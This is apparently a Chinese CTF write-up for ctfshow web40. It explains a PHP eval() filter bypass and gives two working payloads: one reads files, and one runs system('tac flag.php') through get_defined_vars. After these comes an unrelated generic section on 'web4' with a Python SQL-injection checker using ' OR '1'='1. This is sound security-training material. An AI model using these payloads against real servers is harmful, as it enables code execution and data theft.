【CTFWP】ctfshow-web40

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


题目介绍:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

题目分析:

  1. if(isset($_GET['c'])){:检查GET请求中是否存在参数c

  2. $c = $_GET['c'];:如果存在,将参数c的值赋给变量$c

  3. 使用正则表达式检查变量$c中是否不包含一系列特定的字符。这个正则表达式尝试排除一些可能用于代码注入的特殊字符和一些常见符号。

  4. eval($c);:如果$c变量中不包含上述正则表达式定义的任何字符,则使用eval函数执行$c中的PHP代码。这是一个非常危险的操作,因为eval会执行任何传入的PHP代码,这可能包括恶意代码。

  5. }else{:如果GET请求中没有参数c,则执行else块中的代码。

  6. highlight_file(__FILE__);:如果没有参数c,这个函数会高亮显示当前文件的内容。这通常用于调试目的,但在生产环境中使用可能会暴露敏感信息。

  7. }:结束if-else语句。

payload:

?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

payload解释:

这段代码尝试通过GET请求利用PHP的eval函数执行恶意代码。下面是对这段代码的分析:

  • ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));:这是一个GET请求的参数c,其值是一个PHP表达式。
  1. echo:PHP中的输出函数,用于输出字符串或表达式的结果。
  2. highlight_file:PHP中的函数,用于高亮显示PHP文件的内容。
  3. next:PHP中的函数,用于将内部指针向前移动到下一个元素。
  4. array_reverse:PHP中的函数,用于反转数组元素的顺序。
  5. scandir:PHP中的函数,用于列出目录中的文件和子目录。
  6. pos:PHP中的函数,返回数组中当前内部指针指向的值。
  7. localeconv():PHP中的函数,返回本地化的数字和货币格式信息。

具体来说,这段代码的执行流程如下:

  1. localeconv():获取本地化的数字和货币格式信息。
  2. pos(localeconv()):获取localeconv()返回数组中当前内部指针指向的值。
  3. scandir(pos(localeconv())):列出pos(localeconv())指向的目录中的文件和子目录。
  4. array_reverse(scandir(pos(localeconv()))):反转这些文件和子目录的顺序。
  5. next(array_reverse(scandir(pos(localeconv())))):将内部指针移动到下一个元素,即下一个文件或子目录。
  6. highlight_file(next(array_reverse(scandir(pos(localeconv()))))):高亮显示这个文件的内容。
  7. echo:输出这个高亮显示的内容。

payload2:

?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");

payload2解释:

  1. ?c=eval(next(reset(get_defined_vars())));:这是GET请求的一部分,其中c参数的值是一个PHP表达式。

    • get_defined_vars():这个函数返回当前所有已定义变量的数组,包括局部变量和全局变量。
    • reset():这个函数将数组内部指针指向第一个元素,并返回该元素的值。
    • next():这个函数将数组内部指针向前移动一位,并返回当前指针处的元素值。
    • eval():这个函数执行字符串作为PHP代码。

    这段代码的目的是尝试执行get_defined_vars()返回的第一个元素的下一个元素的值作为PHP代码。

  2. &1=;system("tac%20flag.php");:这是GET请求的另一部分,尝试通过URL参数执行系统命令。

    • system():这个函数执行一个shell命令,并将完整的输出返回。
    • "tac%20flag.php":这里的命令是tac flag.phptac是反向输出文件内容的Unix命令,%20是URL编码的空格。

    这段代码的目的是尝试执行flag.php文件的反向内容。

flag

在这里插入图片描述

flag=“ctfshow{96c8b1e3-29aa-4010-8f8f-c2437ccb6502}”

### CTF SHOW Web 类别挑战资源与解决方案 对于参与CTF SHOW平台上Web类别的挑战,特别是针对`web4`这一具体题目,可以借鉴一些通用的Web安全漏洞利用技巧以及特定于该平台的经验分享。通常情况下,这类挑战会涉及到常见的Web应用程序漏洞,如SQL注入、跨站脚本攻击(XSS)、文件包含漏洞(LFI/RFI)等。 为了更好地理解和解决这些挑战,可以从以下几个方面入手: #### 学习基础理论和技术 深入理解HTTP协议的工作原理及其请求响应机制是非常重要的。掌握如何通过浏览器开发者工具分析网络流量可以帮助识别潜在的安全问题[^1]。 #### 利用在线学习资源 有许多优质的网站提供了关于Web渗透测试的学习材料和实践环境,例如OWASP Top Ten项目文档,它列举并解释了当前最严重的Web应用风险;还有像PortSwigger Academy这样的平台提供了一系列课程来教授各种类型的Web漏洞挖掘方法。 #### 参考社区讨论和Writeup 加入相关的技术论坛或社交媒体群组,在那里可以看到其他参赛者发布的writeups(解题报告),这对于获取灵感非常有帮助。GitHub上也有很多开源仓库专门收集整理了不同赛事下的高质量writeup链接集合。 ```python import requests def check_sql_injection(url, param): test_payload = "' OR '1'='1" data = {param: test_payload} response = requests.post(url, data=data) if "Welcome" in response.text: print(f"[+] SQL Injection vulnerability detected on parameter '{param}'!") else: print("[-] No SQL Injection found.") ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值